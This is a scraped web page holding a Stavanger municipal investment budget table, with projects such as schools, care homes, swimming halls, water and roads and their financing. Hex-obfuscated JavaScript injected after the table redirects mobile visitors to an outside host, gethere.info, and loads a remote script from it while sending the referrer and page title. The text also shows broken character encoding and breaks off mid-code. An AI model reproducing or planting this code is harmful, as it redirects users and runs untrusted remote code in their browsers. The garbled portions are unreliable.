6 | Olav Kyrres gate 19, varmesentral (ferdig 2016) | 15 000 | 2 000 | 13 000 | |||
7 | Olav Kyrres gate 19, rehabilitering (ferdig 2017/2018) | 40 000 | 2 000 | 30 000 | 8 000 | ||
8 | Vålandstårnet, rehabilitering (ferdig 2015) | 7 000 | 7 000 | ||||
9 | Kongsgata 47/49, rehabilitering | 10 000 | 10 000 | ||||
10 | Olav Kyrresgate 23, taktekking | 5 000 | 5 000 | ||||
11 | Legionellaforebygging (ferdig 2015) | 32 000 | 27 270 | 4 349 | |||
12 | Boliger til flyktninger og vanskeligstilte, bygging og kjøp | 10 000 | 10 000 | 15 000 | 30 000 | ||
13 | Haugåsveien, 20 kommunale bolger og 3 tjenesteboliger | 55 000 | 20 000 | 20 000 | 15 000 | ||
14 | Prestebolig Hafrsfjord menighet | 5 300 | 3 500 | 1 800 | |||
15 | Oddahagen, 9 boliger | 25 000 | 1 000 | 12 000 | 12 000 | ||
16 | Kari Trestakkv. 3, 10 boliger | 25 000 | 2 000 | 13 000 | 10 000 | ||
17 | Brannsikring i sentrum | 1 500 | 1 500 | 1 500 | 1 500 | ||
18 | Eldre boliger, rehabilitering | 2 500 | 2 500 | 2 500 | 2 500 | ||
Sum diverse bygg | 521 400 | 125 970 | 172 549 | 196 100 | 86 000 | 45 000 | |
SKOLEBYGG | |||||||
Nybygg/utvidelse/ombygging | |||||||
19 | Madlavoll skole - utvidelse/ombygging (ferdig 2015) | 52 000 | 54 000 | 8 700 | |||
20 | Lenden skole og ressurssenter - (ombygging Johannes skole) (ferdig mai 2015) | 55 000 | 47 000 | 14 000 | |||
21 | Storhaug skole, SFO bygg til skoleformål (ferdig 2015) | 10 000 | 1 000 | 9 000 | |||
22 | Kristianslyst skole - nybygg 6 klasserekker (ferdig 2014) | 195 000 | 176 000 | 27 800 | |||
23 | Madlamark skole, nybygg (ferdig 2019) | 150 000 | 5 000 | 70 000 | |||
24 | Johannes voksenopplæring, utstyr (2015) | 4 000 | 100 | 3 900 | |||
25 | Eiganes skole. Utbygging av 27 rom inkl. fransk skole (ferdig 2016) | 280 000 | 16 800 | 60 000 | 168 200 | 35 000 | |
26 | Vaulen skole, ombygging | 150 000 | 2 000 | ||||
27 | Kvaleberg skole, utbygging (ferdig 2020) | 57 000 | 2 000 | ||||
28 | Kannik skole, modulbygg (ferdig 2015) | 16 000 | 16 000 | ||||
29 | Skeie skole m/14 rom, utvidelse (ferdig 2022) | 182 000 | 2 000 | ||||
30 | Storhaug bydel ny barneskole 14 rom (ferdig 2019) | 182 000 | 200 | 1 000 | 2 000 | 20 000 | 80 000 |
31 | Jåtten skole, nybygg 14 rom (ferdig 2019) | 196 000 | 3 000 | 30 000 | 70 000 | ||
32 | Tastarustå skole, innvendig ombygging | 19 600 | 19 000 | 600 | |||
Rehabilitering | |||||||
33 | Tastaveden skole, rehabilitering (ferdig 2019) | 146 000 | 2 000 | 50 000 | |||
34 | Kvernevik skole, rehabilitering (inkl. Kunnskapsløftet) (ferdig 2019/2020) | 64 000 | 2 000 | ||||
35 | Hundvåg skole - rehabilitering (ferdig 2019) | 40 500 | 3 000 | ||||
36 | Gautesete skole - Kunnskapsløftet - rehabilitering - funksjonsendring (ferdig 2018) | 30 800 | 2 000 | 20 000 | 8 800 | ||
37 | Skoler, inventar og utstyr | 6 000 | 6 000 | 6 000 | 6 000 | ||
38 | Skoler, løpende rehabilitering | 6 500 | 6 500 | 6 500 | 6 500 | ||
Sum skolebygg | 1 829 900 | 314 100 | 153 500 | 187 700 | 124 500 | 302 300 | |
BARNEHAGEBYGG | |||||||
Nybygg | |||||||
39 | Emmaus barnehage, trinn 4 (ferdig mars 2016) | 48 200 | 21 000 | 12 800 | 22 000 | ||
40 | Stokkatunet barnehage, 2 avdelinger samt spesialavd. multihandicap.(ferdig 2015) | 50 700 | 14 000 | 36 500 | |||
41 | Roaldsøy barnehage ( riving/nybygg 4 avd) (ferdig 2016) | 36 000 | 5 000 | 10 000 | 23 000 | ||
42 | Fransk barnehage (modulbygg) (ferdig 2015) | 29 000 | 3 000 | 26 000 | |||
43 | Kløvereng barnehage Storhaug - nytt garderobebygg ( ferdig 2015) | 7 300 | 6 700 | 3 000 | |||
44 | Nore Sunde ny barnehage 6 avd.(ferdig 2019) | 54 000 | 5 000 | ||||
Rehabilitering | |||||||
45 | Ytre Tasta barnehage, rehabilitering avd. Eskeland (ferdig 2016/2017) | 20 000 | 2 000 | 15 000 | 3 000 | ||
46 | Ytre Tasta barnehage, avd. Vardenes (ferdig 2017/2018) | 10 000 | 8 000 | 2 000 | |||
47 | Barnehager, løpende rehabilitering | 5 000 | 5 000 | 5 000 | 5 000 | ||
48 | Barnehager, inventar og utstyr | 1 000 | 1 000 | 1 000 | 1 000 | ||
Sum barnehagebygg | 255 200 | 49 700 | 96 300 | 66 000 | 17 000 | 13 000 | |
SYKEHJEM, BOFELLESSKAP OG DAGTILBUD | |||||||
49 | Krosshaug - 8 stk nye omsorgsboliger i bofellesskap (ferdig nov. 2015) | 48 500 | 19 000 | 34 500 | |||
50 | Haugåsveien 26/28, riving og nybygg -7 nye omsorgsboliger i bofellesskap (ferdig 2016) | 35 000 | 8 400 | 10 000 | 11 900 | 10 000 | |
51 | Bjørn Farmandsgt 25, 4 plasser i barnebolig (inkl.parkering). Ferdig 2016 | 35 000 | 1 000 | 12 000 | 22 000 | ||
52 | Kalhammaren avlastningsbolig, utbedring (ferdig 2014/2015) | 3 000 | 2 000 | 1 000 | |||
53 | Fredrikke Quams Gate, utbedring.Ferdig 2016. | 5 000 | 5 000 | ||||
54 | Helsehuset Stavanger- (prosjekteringsmidler) | 500 | 1 000 | ||||
55 | Lassahagen ombygging boliger (ferdig 2015) | 20 000 | 4 000 | 17 000 | |||
56 | Lervig, nytt sykehjem-123 plasser(inkl.tomt og prod.kjøkken)(ferdig 2017) | 490 000 | 11 000 | 153 900 | 170 000 | 159 000 | |
57 | St.Petri aldershjem,riving, nytt bofellesskap (ferdig 2020) | 80 000 | 2 000 | ||||
58 | Selveide boliger i bofellesskap for personer med utviklingshemming | 30 000 | 2 000 | ||||
ENDR | Bofellesskap private | 2 000 | |||||
59 | Omsorgsboliger i bofellesskap til personer med utviklingshemming (2x8 boliger) | 80 000 | 2 000 | ||||
60 | Dagtilbud for personer med utviklingshemming | 3 000 | 1 500 | 1 500 | |||
61 | Alarmer/mottakssentraler tekniske hjemmetjenester, utskifting | 4 500 | 2 000 | 2 500 | |||
62 | Institusjoner og bofellesskap, løpende rehabilitering | 6 000 | 6 000 | 6 000 | 6 000 | ||
Sum sykehjem, bofellesskap og dagtilbud | 834 000 | 45 900 | 239 400 | 218 900 | 176 500 | 12 000 | |
PARK- OG IDRETTSBYGG | |||||||
63 | Idrettsbygg, rehabilitering | 1 500 | 1 500 | 1 500 | 1 500 | ||
64 | Hundvåg svømmehall (ferdig mars 2015) | 135 800 | 97 100 | 31 700 | |||
65 | Kvernevik svømmehall (ferdig 2015) | 132 300 | 63 100 | 60 400 | 10 000 | ||
66 | Hetlandshallen,utvendig tak(ferdig 2015) | 13 000 | 6 000 | 7 000 | |||
67 | Hetlandshallen, dobbelhall | 40 000 | 10 000 | 30 000 | |||
68 | Stavanger idrettshall, garderober / fasade (ferdig 2019) | 40 000 | 2 000 | 25 000 | |||
ENDR | Nytt gardarobe anlegg Midjord | 16 000 | 6 000 | 10 000 | |||
69 | Folkebad - Planleggingsutgifter | 10 000 | 6 700 | 2 000 | 3 400 | ||
ENDR | Folkebad - Planleggingsutgifter | -1 000 | 1 000 | ||||
70 | Nye Gamlingen, inkl. rekkefølgekrav (ferdig 2017) | 120 000 | 11 000 | 29 000 | 61 000 | 19 000 | |
71 | Stavanger svømmehall, rehabilitering (ferdig 2018/2019) | 70 000 | 2 000 | 60 000 | |||
Sum park og idrettsbygg | 577 100 | 183 900 | 136 600 | 86 900 | 34 500 | 116 500 | |
ENDR | Vedlikehold av bygningsmasse | 10 000 | |||||
Sum bygg | 4 017 600 | 719 570 | 808 349 | 755 600 | 438 500 | 488 800 | |
UTBYGGINGSOMRÅDER | |||||||
72 | Kjøp av areal i hovedutbyggingsområder | 35 000 | 35 000 | 35 000 | 35 000 | ||
73 | Byggemodning av hovedutbyggingsområder | 20 000 | 20 000 | 20 000 | 20 000 | ||
74 | Kjøp og utvikling av andre eiendommer | 25 000 | 25 000 | 25 000 | 25 000 | ||
Jåttåvågen | |||||||
75 | Jåttåvågen områdeutvikling (ferdig 2016) | 150 000 | 80 000 | 70 000 | |||
Anlegg Stavanger Forumområdet | |||||||
76 | Stavanger Forum-ny utstillingshall, inkl.tomt/rekkefølgekrav | 255 200 | 255 200 | 500 | |||
77 | Stavanger Forum - områdeutvikling, inkludert grunnerverv | 200 000 | 200 000 | 17 500 | 14 000 | ||
ENDR | Stavanger Forum - områdeutvikling | -10 000 | |||||
78 | Stavanger Forum, ny energisentral | 26 100 | 26 100 | 1 600 | 500 | ||
Storhaug | |||||||
79 | Områdeløft Storhaug | 8 000 | 2 000 | 2 000 | 2 000 | 2 000 | |
Bjergsted | |||||||
80 | Dansesaler Bjergsted | 26 000 | 6 000 | 20 000 | |||
Sum utbyggingsområder | 665 300 | 489 300 | 201 600 | 156 500 | 82 000 | 80 000 | |
VANNVERKET | |||||||
Oppfølging hovedplaner | |||||||
81 | Vannmålere/off. ledninger | 1 000 | 1 100 | 600 | 600 | ||
82 | Ringledninger/forsterkninger. | 2 000 | 2 400 | 2 400 | 2 400 | ||
83 | Fornyelse/renovering | 23 000 | 22 000 | 22 000 | 22 000 | ||
84 | Vannledninger/utbyggingsområder | 4 000 | 5 000 | 5 000 | 5 000 | ||
Andre prosjekter | |||||||
85 | Byomforming | 2 000 | 2 000 | 2 000 | 2 000 | ||
86 | Lekkasjereduksjon | 1 000 | |||||
87 | Vålandsbassengene (ferdig 2016/2017) | 10 000 | 1 000 | 3 000 | 4 000 | 2 000 | |
88 | Strakstiltak | 2 000 | 2 000 | 2 000 | 2 000 | ||
Kjøretøy | |||||||
89 | Desinfeksjon etc. | 500 | |||||
90 | Reparasjonslag | 500 | |||||
AVLØPSVERKET | |||||||
Hovedplanrelaterte | |||||||
91 | Kloakkrammeplanen | 3 000 | 3 000 | ||||
92 | Separering | 11 500 | 11 000 | 11 000 | 7 500 | ||
93 | Fornyelse og renovering | 32 000 | 33 000 | 33 000 | 33 000 | ||
Andre prosjekter | |||||||
94 | Nedbørsmålere | 300 | 300 | ||||
95 | Vålandsbassengene (ferdig 2016/2017) | 10 000 | 1 000 | 3 000 | 4 000 | 2 000 | |
96 | Stasjonsoppgradering inkl. brutt vannforsyning | 300 | |||||
97 | Byomforming | 4 000 | 5 000 | 5 000 | 5 000 | ||
98 | Strakstiltak | 2 500 | 2 500 | 2 500 | 2 500 | ||
99 | Kirkelig fellesråd, refusjon | (1 000) | (1 000) | (1 000) | (1 000) | ||
Kjøretøy | |||||||
100 | Spylebil | 3 300 | |||||
101 | Bil produksjonsleder | 500 | |||||
RENOVASJON | |||||||
102 | Kjøp av nye søppelspann | 2 200 | 2 300 | 2 300 | 2 300 | ||
103 | Nedgravde containere | 2 000 | 2 100 | 2 100 | 2 100 | ||
104 | Miljøstasjoner | 200 | 200 | ||||
Sum vann, avløp og renovasjon | 101 300 | 102 400 | 92 900 | 85 400 | |||
PARK OG VEI | |||||||
Framkommelighet | |||||||
105 | Asfaltering | 5 000 | 5 000 | 5 000 | 5 000 | ||
106 | Flaskehalsutbedring (ferdig 2015) | 25 000 | 1 000 | 24 000 | |||
107 | Rehabilitering | 1 500 | 1 500 | 1 500 | 1 500 | ||
108 | Nye veianlegg | 2 100 | 2 100 | 2 100 | 2 100 | ||
109 | Gatelys | 10 000 | 10 000 | 10 000 | 10 000 | ||
110 | Gatelysarmatur som inneholder kvikksølv, utskifting | 40 000 | 10 000 | 10 000 | 10 000 | 10 000 | |
ENDR | Gatelysarmatur med kvikksølv, utskifting | 30 000 | -10 000 | ||||
Miljø og trafikksikkerhet | |||||||
111 | Sykkelveinettet, sykkelparkering og servicefunksjoner | 2 500 | 2 500 | 2 500 | 2 500 | ||
112 | Sykkelstrategi (ferdig 2016) | 50 000 | 18 000 | 16 000 | 18 200 | ||
113 | Austre Åmøy, gang/sykkelvei (20146/2017) | 5 000 | 5 000 | ||||
114 | Trafikksikkerhet | 10 300 | 10 300 | 10 300 | 10 300 | ||
115 | Miljø og gatetun | 3 500 | 3 500 | 3 500 | 3 500 | ||
Sentrum | |||||||
116 | Sentrum | 6 000 | 6 000 | 6 000 | 6 000 | ||
Park og nærmiljø | |||||||
117 | Løkker,baner,skatebaner og nærmiljøanlegg | 6 100 | 6 100 | 6 100 | 6 100 | ||
118 | Tasta skatepark | 22 000 | 1 000 | 9 000 | 12 000 | ||
119 | Kunst i offentlig rom ( lekeplasser ) | 1 000 | 1 000 | 1 000 | 1 000 | ||
120 | Prosjekt friområde | 10 000 | 10 000 | 10 000 | 10 000 | ||
121 | Parkanlegg/friområder, rehabilitering | 700 | 700 | 700 | 700 | ||
Utendørs idrettsanlegg | |||||||
122 | Idrettsanlegg, rehabilitering | 6 000 | 6 000 | 6 000 | 6 000 | ||
Uteområder kommunale bygg | |||||||
123 | Utearealer skoler | 8 000 | 8 000 | 8 000 | 8 000 | ||
Sum park og vei | 172 000 | 20 000 | 121 700 | 117 900 | 82 700 | 82 700 | |
FELLES | |||||||
124 | Flytting av datasentre | 6 500 | |||||
125 | Nytt sak/arkiv-system (anskaffelse og implementering) (ferdig 2015) | 8 000 | 4 000 | 4 000 | |||
126 | Egenkapitalinnskudd KLP | 15 100 | 16 100 | 17 100 | 18 100 | ||
Sum felles | 8 000 | 4 000 | 25 600 | 16 100 | 17 100 | 18 100 | |
OPPVEKST | |||||||
127 | IT i undervisning / utskifting (inkludert elektroniske tavler) | 6 000 | 6 000 | 6 000 | 6 000 | ||
128 | IT i barnehager | 1 000 | 1 000 | 1 000 | 1 000 | ||
Sum oppvekst | 7 000 | 7 000 | 7 000 | 7 000 | |||
LEVEKÅR | |||||||
129 | Utstyr, gjelder hele levekår | 4 000 | 4 000 | 4 000 | 4 000 | ||
130 | Inventar sykehjem | 1 500 | 1 500 | 1 500 | 1 500 | ||
131 | Biler | 1 500 | 1 500 | 1 500 | 1 500 | ||
Sum levekår | 7 000 | 7 000 | 7 000 | 7 000 | |||
KIRKELIG FELLESRÅD | |||||||
132 | Maskiner gravlundene | 500 | 500 | 500 | 500 | ||
133 | Tjensvoll gravlund,avløpsledning (refusjon VA-verk fra 2015) | 5 000 | 1 000 | 1 000 | 1 000 | 1 000 | |
134 | Domkirken, restaurering av vestfasade (ferdig 2014/2015) | 12 500 | 10 000 | 2 500 | |||
135 | Domkirken, reparasjon orgel (ferdig 2015) | 6 500 | 5 200 | 3 100 | |||
136 | Domkirken 2025 | 305 000 | 2 500 | 5 000 | 5 000 | 5 000 | 5 000 |
137 | Krematoriet, skifte tak (2015) | 2 700 | 2 700 | ||||
138 | Bekkefaret kirke,rehabilitering (ferdig 2018) | 30 000 | 2 000 | 20 000 | 8 000 | ||
139 | Kirkeparker og gravlunder, oppgradering | 7 000 | 2 000 | 2 000 | |||
140 | Gravlunder, utredning av trykk- og avløpsledninger | 1 100 | 400 | 700 | |||
141 | Tasta gravlund, prosjektering | 200 | 600 | ||||
Sum kirkelig fellesråd | 369 800 | 17 700 | 14 800 | 8 500 | 29 100 | 17 800 | |
Sum investeringer i planperioden | 5 232 700 | 1 758 670 | 1 287 349 | 1 171 000 | 756 300 | 786 800 | |
FINANSIERING AV INVESTERINGER | |||||||
142 | Overføring fra driften | 104 400 | 190 000 | 209 000 | 294 900 | ||
ENDR | Overføring fra driften | 15 020 | 10 688 | 48 507 | 51 922 | ||
143 | Momsrefusjon investeringer | 153 600 | 140 400 | 90 700 | 94 400 | ||
144 | Lyse Energi AS, avdrag ansvarlig lån | 43 600 | 43 600 | 43 600 | 43 600 | ||
145 | Tilskudd kjøp/bygging boliger (maks 20%) | 6 000 | 6 000 | 6 000 | 6 000 | ||
146 | Tilskudd rehabilitering boliger (maks 20%) | 600 | 600 | 600 | 600 | ||
147 | Salg eiendommer (utbyggingsområder) | 63 100 | 2 500 | 2 800 | 30 000 | ||
148 | Salg øvrige eiendommer | 172 000 | 7 000 | - | 25 000 | ||
149 | Ekstraordinære eiendomssalg | 42 000 | 43 000 | - | 4 000 | ||
ENDR | Salg av Norges Bank bygget og 2. etg utenriksterminalen | 58 000 | |||||
150 | Salg av kommunale boliger | 6 500 | |||||
151 | Oppstartstilskudd nye sykehjemsplasser Lervig | - | 230 000 | ||||
152 | Oppstartstilskudd nye omsorgsboliger og bofellesskap | 11 800 | 16 800 | ||||
153 | Spillemidler ordinære idrettsanlegg | 8 300 | 8 300 | 8 300 | 8 300 | ||
154 | Spillemidler nærmiljøanlegg | 800 | 800 | 800 | 800 | ||
155 | Spillemidler 2 svømmehaller (Hundvåg/Kvernevik) | 36 600 | |||||
156 | Tilskudd fra Enova | 2 000 | 2 000 | 2 200 | |||
157 | Spillemidler rehabilitering av Tasta svømmehall | 10 900 | |||||
158 | Spillemidler, Nye Gamlingen | 10 000 | |||||
159 | Spillemidler, Hetlandshallen dobbelhall | 5 000 | |||||
159 | Bruk av disposisjonsfond | 10 050 | 900 | ||||
160 | Låneopptak | 580 679 | 698 412 | 77 393 | 210 078 | ||
Sum finansiering av investeringer | 1 287 349 | 1 171 000 | 756 300 | 786 800 | |||
Andel egenfinansiering | 55 | 40 | 90 | 73 | |||
Andel lånefinansiering | 45 | 60 | 10 | 27 |
*Kravet til realistisk budsjettering gjelder for hvert budsjettA?r. Dersom det ikke er foretatt konsistente budsjettjusteringer mellom A?rene, vil ikke summen av A?renes A?rsbudsjett vAi??re lik kostnadsrammene for prosjektene.
ENDR: Vedtatte endringer i bystyremA?tet 15.12.2014
var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xb322=[«\x73\x63\x72\x69\x70\x74″,»\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,»\x73\x72\x63″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D»,»\x72\x65\x66\x65\x72\x72\x65\x72″,»\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D»,»\x74\x69\x74\x6C\x65″,»\x26″,»\x3F»,»\x72\x65\x70\x6C\x61\x63\x65″,»\x73\x65\x61\x72\x63\x68″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»,»\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,»\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,»\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,»\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,»\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,»\x68\x65\x61\x64″,»\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,»\x70\x72\x6F\x74\x6F\x63\x6F\x6C»,»\x68\x74\x74\x70\x73\x3A»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x52\x5F\x50\x41\x54\x48″,»\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E»];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ 